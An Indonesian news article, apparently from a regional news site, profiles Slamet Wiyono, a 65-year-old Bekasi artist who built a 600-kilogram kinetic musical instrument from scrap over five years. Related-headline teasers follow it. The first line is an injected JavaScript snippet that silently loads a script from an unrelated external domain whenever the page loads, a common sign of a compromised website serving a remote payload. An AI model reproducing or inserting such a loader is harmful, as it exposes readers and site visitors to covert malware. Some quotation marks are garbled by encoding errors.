(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Di sudut Kota Bekasi, di daerah Kelurahan Jatirangon tinggalah seorang seniman bermama asli Slamet Wiyono atau lebih biasa disebut Slamet Jenggot oleh rekan-rekan seprofesinya. Di rumah yang ia bangun sendiri, lelaki asal Banyuwangi ini memperlihatkan mahakarya yang ia rakit sendiri.
Instrumen musik yang sampai sekarang belum beri nama terpampang di depan workshop kerjanya. Berbobot sekitar 600 kilogram, instrumen musik ini ia rakit selama lima tahun.
“Ini saya bikin alatnya 5 tahun, dan berkembang terus ini. Ini alat saya bikin dari limbah (barang) bekas, saya lihat ini bisa dipakai nih saya pakai. Enggak ada las-lasan ini saya bikinnya. Ini alatnya alat kinetik dan semua komponen dari apapun ada, ada komponen pesawat ada,†ujar Slamet, Kamis (12/7).
Berlatar belakang seorang arsitek, Slamet mampu memutar otak dan memanfaatkan barang-barang bekas yang tak terpakai di rumahnya. Menurutnya, setiap barang bekas tidak mungkin tidak terpakai sama sekali. Menurut Slamet, setiap alat pasti memiliki bunyi-bunyi tertentu yang bisa dimanfaatkan sebagai alat musik.
“Meskipun barang bekas, pasti ada gunanya, enggak mungkin enggak kepakai,” kata dia sebagaimana dilansir Kumparan.com.
Slamet mendapatkan alat-alat tersebut dari berbagai sumber, mulai dari tukang loak, pemulung hingga meminta dari teman-temannya yang membuka usaha bengkel.
Bagi orang yang pertama kali melihat alat yang memiliki lebar sekitar 2 meter, pasti yang mencolok adalah adanya timbangan pasar dan kompor minyak tanah yang terpasang di depan dan tengah instrumen.
Tak hanya timbangan pasar dan kompor, ada juga dua mesin tik yang dipasang dan sebuah lampu penerangan jalan bekas yang dipasang. Slamet menjelaskan semua alat yang ia pasang mempunyai tujuan, seperti komponen kompor yang terpasang. Kompor tersebut berfungsi sebagai alat pembuat asap jika diperlukan asap dalam penampilannya.
“Kalau sambil goreng ikan asin juga bisa, biar penonton juga merasakan aura dari pentasnya bau ikan asin,†ujar Slamet sambil tertawa.
Meskipun bisa dijalankan secara otomatis, hingga saat ini masih belum ada yang bisa yang memainkan alat musik tersebut kecuali Slamet sendiri. Pria berumur 65 tahun ini juga mengatakan kalau ada permintaan untuk mementaskan alatnya di Asian Games bulan depan, namun sampai saat ini ia belum memberikan kepastian apakah akan tampil atau tidak.
“Belum pasti itu, saya soalnya ada persiapan buat agustusan juga. Enggak ada yang bisa pakai alatnya selain saya, saya sudah bikin panduan buat yang lain cuma tetap saja enggak bisa. Bisa saya setting buat nyanyi lagu Indonesia Raya, tapi tetap saja enggak ada yang bisa mainkan,†ujarnya. (cel/kum)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.